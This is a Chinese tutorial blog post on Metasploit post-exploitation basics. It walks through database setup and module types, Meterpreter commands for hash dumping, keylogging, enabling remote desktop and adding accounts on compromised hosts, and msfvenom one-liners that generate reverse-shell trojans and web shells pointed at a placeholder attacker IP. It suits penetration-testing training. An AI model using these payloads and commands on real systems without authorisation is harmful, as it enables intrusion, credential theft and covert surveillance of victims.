[后渗透]Metasploit使用基础
0x00 简介
Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。软件厂商再也不能推迟发布针对已公布漏洞的补丁了,这是因为Metasploit团队一直都在努力开发各种攻击工具,并将它们贡献给所有Metasploit用户。
0x01 配置MSF的数据库
首先配置下MSF的数据库:可提升查询攻击模块的速度,以及利用速度
1.1 进入msf
查询数据库连接情况:发现默认情况下并未连接数据库
$msf> db_status

1.2 配置数据库
$service postgres enable
$service postgres start
$msfdb init

1.3 连接密码
看到上面的配置文件的提示,就可以通过文件地址,查看连接密码:
$cat /usr/share/metasploit-framework/config/database.yml
1.4 查询
知道密码后,再次进入msf,通过db_connect 查询如何写连接的命令:

1.5 连接
再用用账号密码去连,最后db_stause查询下状态,发现连接正常

0x02 MSF模块
MSF的命名规则:模块/系统/服务/名称
MSF的模块,也就是我们看到的众多利用模块最前面的分类,主要有以下6个模块
- exploits(漏洞攻击模块列表,入侵式)
- payloads(漏洞负载模块,入侵要做什么)
- auxiliary(辅助模块,一般是没有攻击载荷的漏洞攻击)
- encoders(编码器模块 用于msfvenom -e or msf执行时也能用的 指的是shellcode的编码)
- nops(无操作生成器模块)
- post(开发模块)
0x03 使用流程及常用指令
3.1 使用流程
1.search name(查询相关漏洞编号)
2.use exploits(使用模块)
3.show options(攻击前设置变量)
4.set payload(设置payload)
5.exploit/run(运行)
3.2 常用指令

unset 清空已经设置好的参数内容
sessions -u <id> 将sission ID的command shell提升至meterpreter
0x04 MSF的Payload
4.1 Payload的类型
_find_tag:在一个已建立的连接上
_reverse_tcp:反向连接到攻击者主机
bind_tcp:监听一个tcp连接
reverse_http:通过HTTP隧道反向连接
4.2 run的参数
-e <opt> 要使用的有效载荷编码器。如果没有指定,则使用编码器。
-f 强制开发漏洞,而不考虑极小值的大小。
-h 帮助
-j 后台运行。。
-n <opt> 使用NOP发生器。如果没有指定,则使用NOP。
-o <opt> 在VAR= VALL格式中的逗号分隔选项列表。
-p <opt> 使用的有效载荷。如果没有指定,则使用有效载荷。
-t <opt> 要使用的目标索引或名称。如果没有指定,则使用目标。
-z 在成功开发后不与会话交互。
4.3 MSF会话指令
sessions 查看所有肉鸡列表
session -l 查看肉鸡在线列表
exploit 执行渗透攻击或模块来攻击目标。
sessions -i 1 打开建立的第一个会话
getuid 查看UID
sysinfo 查看攻击主机的系统信息
run hashdump dump目标主机的hash帐号信息,备份进行暴破
ps 查看目标主机进程
migrate 1576(pid) 切换自己为管理员,1576是管理员的进程ID
keyscan_start 开启健盘记录功能
keyscan_dump 查看健盘记录信息
keyscan_stop 停止健盘记录
run getgui -e 远程开启目标主机的远程桌面
run getgui -u cisco -p cisco 远程添加目标主机帐号密码
rdesktop 192.168.1.100 连接远程桌面
0x05 MSF生成木马
5.1 List payloads
msfvenom -l
5.2 系统型
Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<攻击机IP> LPORT=<攻击机端口> -f elf > shell.elf
Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<攻击机IP> LPORT=<攻击机端口> -f exe > shell.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<攻击机IP> LPORT=<攻击机端口> -f exe > shell.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=<攻击机IP> LPORT=<攻击机端口> -f psh-reflection -o payload.ps1
Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<攻击机IP> LPORT=<攻击机端口> -f macho > shell.macho
5.3 网页型
PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<攻击机IP> LPORT=<攻击机端口> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<攻击机IP> LPORT=<攻击机端口> -f asp > shell.asp
JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<攻击机IP> LPORT=<攻击机端口> -f raw > shell.jsp
HTA:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<攻击机IP> LPORT=<攻击机端口> -f hta-psh -o shell.hta
5.4 其他
Python:
msfvenom -p python/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.py
windows shellcode:
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c
linux shellcode:
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c
mac shellcode:
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c
0x06 MSF提权
参考博文:
Metasploit(MSF)的一些提权方法
Meterpreter提权详解
[后渗透]Metasploit使用基础的更多相关文章
- Meterpreter后渗透之信息收集
在获得目标的Meterpreter shell后 进行信息收集是后渗透工作的基础 记录一下关于meterpreter 信息收集的使用 环境: kali linux 192.168.190.141 xp ...
- metasploit 渗透测试笔记(基础篇)
0x00 背景 笔记在kali linux(32bit)环境下完成,涵盖了笔者对于metasploit 框架的认识.理解.学习. 这篇为基础篇,并没有太多技巧性的东西,但还是请大家认真看啦. 如果在阅 ...
- Metasploit Framework(8)后渗透测试(一)
文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 使用场景: Kali机器IP:192.168.163. ...
- 7.Metasploit后渗透
Metasploit 高阶之后渗透 01信息收集 应用场景: 后渗透的第一步,更多地了解靶机信息,为后续攻击做准备. 02进程迁移 应用场景: 如果反弹的meterpreter会话是对方打开了一个你预 ...
- Metasploit简单使用——后渗透阶段
在上文中我们复现了永恒之蓝漏洞,这里我们学习一下利用msf简单的后渗透阶段的知识/ 一.meterperter常用命令 sysinfo #查看目标主机系统信息 run scraper #查看目标主机详 ...
- 渗透攻防工具篇-后渗透阶段的Meterpreter
作者:坏蛋链接:https://zhuanlan.zhihu.com/p/23677530来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处. 前言 熟悉Metasploit ...
- 20145320 《网络渗透》MSF基础应用
20145320 <网络渗透>MSF基础应用 1.实验后回答问题 exploit 攻击模块,利用发现的安全漏洞或配置弱点对远程目标系统进行攻击.主要分为主动攻击和被动攻击.像我们这次做的实 ...
- iOS macOS的后渗透利用工具:EggShell
EggShell是一款基于Python编写的iOS和macOS的后渗透利用工具.它有点类似于metasploit,我们可以用它来创建payload建立侦听.此外,在反弹回的session会话也为我们提 ...
- 后渗透之meterpreter使用攻略
Metasploit中的Meterpreter模块在后渗透阶段具有强大的攻击力,本文主要整理了meterpreter的常用命令.脚本及使用方式.包含信息收集.提权.注册表操作.令牌操纵.哈希利用.后门 ...
随机推荐
- NIO开发Http服务器(5-完结):HttpServer服务器类
最近学习了Java NIO技术,觉得不能再去写一些Hello World的学习demo了,而且也不想再像学习IO时那样编写一个控制台(或者带界面)聊天室.我们是做WEB开发的,整天围着tomcat.n ...
- Mac 指令
Mac 展示隐藏目录 // 设置隐藏文件不可见 defaults write com.apple.finder AppleShowAllFiles FALSE // 设置隐藏文件可见 defaults ...
- 使用wxpy这个基于python实现的微信工具库的一些常见问题
使用如下的命令行安装: pip install wxpy Collecting wxpy Downloading https://files.pythonhosted.org/packages/6b/ ...
- JWT对SpringCloud进行系统认证和服务鉴权
JWT对SpringCloud进行系统认证和服务鉴权 一.为什么要使用jwt?在微服务架构下的服务基本都是无状态的,传统的使用session的方式不再适用,如果使用的话需要做同步session机制,所 ...
- C 是什么样的语言?
学习交流可加 微信读者交流①群 (添加微信:coderAllen) 程序员技术QQ交流①群:736386324 --- ==C 是什么样的语言?== 这个问题不要急于寻找问题的答案,而是应该先去考虑当 ...
- Pthon魔术方法(Magic Methods)-上下文管理
Pthon魔术方法(Magic Methods)-上下文管理 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 一.上下文管理方法 __enter__: 进入与此对象相关的上下文.如果 ...
- WM_MOUSEWHEEL、WM_LBUTTONDOWN等父子窗口消息传递陷阱
mfc中,碰到以下问题:父对话框A.子窗口B.B是CWnd对象.需要在B中处理WM_MOUSEWHEEL.WM_LBUTTONDOWN等消息. 所以在B中增加对应的消息处理,发现B中的消息循环中,收不 ...
- test20190903 JKlover
100+65+100=265,T2就差了一点. 乌合之众 给出一个 n × n 的, 元素为自然数的矩阵.这个矩阵有许许多多个子矩阵, 定义它的所有子矩阵形成的集合为 S . 对于一个矩阵 k , 定 ...
- jQuery的下载以及使用
一.概述 1.版本选择 jquery官网 jQuery的版本有很多,大家在选择版本的时候,一般原则是越新越好,但其实不然,jQuery版本是在不断进步和发展的,最新版是当时最高技术水平,也是最先进的技 ...
- mybatis框架-查询用户表中的记录数
之前已经搭建过mybatis框架了,现在我们要用mybatis框架真正的干点事情了. 这是这个简单web项目的整体架构. 我们使用mybatis框架查询用户表中的记录数: 这是用户类: package ...